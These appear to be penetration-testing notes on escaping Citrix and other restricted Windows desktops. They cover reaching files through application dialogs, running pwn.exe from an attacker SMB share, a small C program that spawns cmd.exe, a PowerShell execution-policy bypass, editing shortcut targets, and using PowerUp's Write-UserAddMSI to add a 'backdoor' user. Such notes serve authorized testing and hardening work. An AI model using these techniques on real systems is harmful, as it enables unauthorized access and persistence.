# citrix-breakouts-restricted-enviornment

## Restricted file access

* We can use any program such as paint, notepad, wordpad, etc.
* Run any application, and click on File > open
* Enter the path `\\127.0.0.1\c$\users\pmogran`

## Restricted SMB share

* Start smbserver from ubuntu machine
* Open paint application, click File > open
* Put in the address bar \10.10.16.25\share
* Click on pwn.exe **Compile `pwn.c`:**

```
#include <stdlib.h>
int main() {
  system("C:\\Windows\\System32\\cmd.exe");
}
```

## Alternative file explorer

* Explorer++
* Q-Dir

## Powershell execution policy bypass

```
Powershell -ep bypass
```

## Alternative registry editor

[simpregedit](https://sourceforge.net/projects/simpregedit/) [uberregedit](https://sourceforge.net/projects/uberregedit/)

## Modify shortcut file

* Right-click on the shortcut file > properties
* In the Target box - `C:\Windows\System32\cmd.exe`
* Click ok

## Script execution

* Create an new file
* Put `cmd` in the file
* Save as ".bat", ".vbs", ".ps"
* Import-Module .\PowerUp.ps1
* `Write-UserAddMSI`
* Execute UserAdd.msi
* Create a new user
* Run as `/user:backdoor` cmd

## Additional resource

[breaking-out-of-citrix-and-other-restricted-desktop-environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/) [breaking-out-of-windows-environments](https://node-security.com/posts/breaking-out-of-windows-environments/)
